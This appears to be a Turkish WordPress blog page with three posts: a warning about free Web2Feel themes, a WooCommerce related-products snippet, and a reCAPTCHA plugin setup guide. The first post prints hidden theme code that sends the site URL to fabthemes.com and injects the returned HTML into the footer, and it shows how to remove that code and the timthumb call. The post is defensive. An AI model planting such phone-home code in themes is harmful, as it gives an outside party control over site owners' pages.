WordPress Web2Feel Temalarına Dikkat Edin! 1

Web2feel ücretsiz WordPress teması yapıp dağıtıyor güzel temalarıda mevcut ancak bilmeniz gereken ve dikkat etmeniz gereken bir husus var. Bu temayı yapan kişi siteyi her çalıştırdığınızda kendi veritabanına sizi kaydediyor. Buda şu demek oluyor temadaki açıktan faydalanması için öncelikle hangi sitelerin bu temayı kullandığını bilmesi gerekiyor.

Şimdi ben fesat gibi konuşuyor olabilirim adam belki kullanan siteleri listeleyip bak şu kadar kişi kullanıyor demek için yapmışta olabilir ama genede mantıklı bir durum değil.

https://2.bp.blogspot.com/-XkVrqTmThE0/UY6Y6gN0cYI/AAAAAAAARNA/zxqI1uotXy8/s1600/wordpress-hack.jpg

Web2Feel Temalarındaki Açık

Temadaki açıkta şundan ibaret temayı yapan arkadaş eklediğiniz resimleri timthumb eklenisi ile çağırıyor. Web açıklarını güncel takip etme şansım oluyor ve timthumb eklentisinin bir çok açığına daha önceden şahit oldum. Bir kaç kere bu temaları kullandığım sitelere erişim dışarıdan sağlandı bu yüzden artık bu kodları siliyorum ve bu temaları rahatlıkla kullanabiliyorum.

1.Timthumb açığı

<img class="boximg" src="<?php bloginfo('stylesheet_directory'); ?>/timthumb.php?src=<?php get_image_url(); ?>&amp;h=200&amp;w=280&amp;zc=1" alt=""/>

Açığı Kapatma

<img class="boximg" src="<?php get_image_url(); ?>" alt=""/>

CSS dosyanızda en alta alttaki kodu ekleyin.

.boximg{
width:280px;
height:200px;
}

2. Veritabanına ekleme kodu

Bu kodu kesinlikle kaldırın çünkü her defasında yani her sayfa yenilendiğinde adamın sistemini sorguluyor yoksa sitenizi ekliyor boş yere milletin veritabanında dolanmayın 🙂

Çözüm

Temanın functions.php dosyasını notepad++ programı ile açın.

Alttaki verdiğim kodları temada gördüğünüz an silin.

function fflink() {
global $wpdb, $wp_query;
if (!is_page() && !is_front_page()) return;
$contactid = $wpdb->get_var("SELECT ID FROM $wpdb->posts
               WHERE post_type = 'page' AND post_title LIKE 'contact%'");
if (($contactid != $wp_query->post->ID) && ($contactid || !is_front_page())) return;
$fflink = get_option('fflink');
$ffref = get_option('ffref');
$x = $_REQUEST['DKSWFYUW**'];
if (!$fflink || $x && ($x == $ffref)) {
  $x = $x ? '&ffref='.$ffref : '';
  $response = wp_remote_get('http://www.fabthemes.com/fabthemes.php?getlink='.urlencode(selfURL()).$x);
  if (is_array($response)) $fflink = $response['body']; else $fflink = '';
  if (substr($fflink, 0, 11) != '!fabthemes#')
    $fflink = '';
  else {
    $fflink = explode('#',$fflink);
    if (isset($fflink[2]) && $fflink[2]) {
      update_option('ffref', $fflink[1]);
      update_option('fflink', $fflink[2]);
      $fflink = $fflink[2];
    }
    else $fflink = '';
  }
}
 echo $fflink;
}

Bu birinci alan şimdi ise bu kodu çalıştıran footer.php‘deki kodu silelim.

<?php fflink(); ?>

Olay tamamdır açıktan kurtuldunuz rahatsınız. 🙂

WooCommerce Benzer Yazılar Sayısını Değiştirme 0

Merhaba arkadaşlar, WooCommerce biliyorsunuz WordPress Eticaret eklentileri arasında en iyisi. Geçen gün bu eklentiyi kullandım ama benzer yazılarda 1 tane çıkıyordu biraz araştıriyim derken bu fonksiyonu buldum.

Temanızın fonksiyon dosyasına alttaki gibi uyarlarsanız benzer yazıların sayısını belirleyebilirsiniz.

Kodda ürün ve kolon sayısı belirliyorsunuz. Örneğin: 10 ürün, 3 kolon yapabiliyorsunuz bu seçenek tamamiyle size kalmış.

Örnek 1) 4 Ürün, 2 Kolon

// Woocommerce eticaret sistemi, benzer ürün sayısı - rooteto.com
 function woocommerce_output_related_products() {
 woocommerce_related_products(4,2);       // 4 ürün, 2 kolon
 }

https://3.bp.blogspot.com/-NAJsLI4L0OE/VMkvLGyvMsI/AAAAAAAAbmQ/V-uyxz4IG-k/s1600/woocommerce-benzer-yazilar-sayisi.jpg

Örnek 2) 4 Ürün, 4 Kolon

// Woocommerce eticaret sistemi, benzer ürün sayısı - rooteto.com
function woocommerce_output_related_products() {
woocommerce_related_products(4,4);   // 4 ürün, 4 kolon
}

https://4.bp.blogspot.com/-WBlh6I37dVI/VMkvKwvvfuI/AAAAAAAAbmM/2wPmiaqt09Y/s1600/woocommerce-benzer-yazilar-related.jpg

Kaynak: Change the Number of Woocommerce Related Products

WordPress Google reCAPTCHA Güvenlik Eklentisi 0

Google kısa bir süre önce reCAPTCHA‘yı güncellediğini ve yeni bir özellik getirdiğini duyurdu. Karmaşık güvenlik kodları, karakterler ve zor görünen kodlardan bizi kurtarmak için “Ben Robot Değilim” özelliği getirdi.

Sistem teknik olarak nasıl çalışıyor bilmiyorum çok detaylı araştırmadım ama iyi görünüyor. Bir müşteriye kurduğum WordPress site giriş paneline sıkça giriş denemeleri oldu ve ben bu eklentiyi kurduktan sonra artık giriş denemeleri sona erdi. reCAPTCHA bazen onaylasada bazen güvenlik kodu sorabiliyor 🙂

Ama çok şık bir eklenti tavsiye ederim herkese. Ben güvenlik kodlarına “İnsalık Testi” yazdığımda müşteriler hep itiraz ediyordu böyle şeymi olur diye. Google “Ben robot değilim” yazdı bakalım önümüzdeki dönemlerde müşterilerden nasıl bir yorum alcaz. 🙂

Sistem nasıl çalışıyor? “Ben robot değilim” yazısının solundaki onay kutucuğuna tıklıyorsunuz ve robot değilseniz sistem size onay veriyor. Alttaki resimde bunu görebilirsiniz.

https://www.google.com/recaptcha/intro/images/hero-recaptcha-demo.gif

WordPress reCAPTCHA Eklentisi

Bu eklentiyi öncelikle WordPress sitemize kuruyoruz ve aktifleştiriyoruz.

WordPress Eklenti: No CAPTCHA reCAPTCHA

Daha sonra reCAPTCHA sayfasına tıklıyoruz. Alttaki resimdeki gibi alanları dolduruyoruz. Alan adınızı ve bu alan adları topluluğuna bir başlık atıyoruz.

https://1.bp.blogspot.com/-mfG-0mZiFEw/VLwP-3FEglI/AAAAAAAAbfs/7Cxh1d5muH0/s1600/google-recaptcha.jpg

Daha sonra Google bize Site key ve Secret key veriyor.

https://2.bp.blogspot.com/-VdLF8Euf5BQ/VLwP-sr2V9I/AAAAAAAAbfk/Q-_6z6Zgd6U/s1600/sitekey-secretkey.jpg

Bu resimdeki kodları WordPress eklentisindeki boş alanlara giriyoruz.

https://4.bp.blogspot.com/-A5NdJM9emNk/VLwP_bXnDqI/AAAAAAAAbfw/txiqeQT23zc/s1600/wordpress-recaptcha.jpg

Daha sonra kaydediyoruz ve eklentideki alttaki ayarları kontrol edip nerelerde bu sistemin çıkmasını istiyorsanız orayı aktif edip bırakıyorsunuz.

Artık daha güvenlisiniz… 🙂

Most Popular Topics

Editor Picks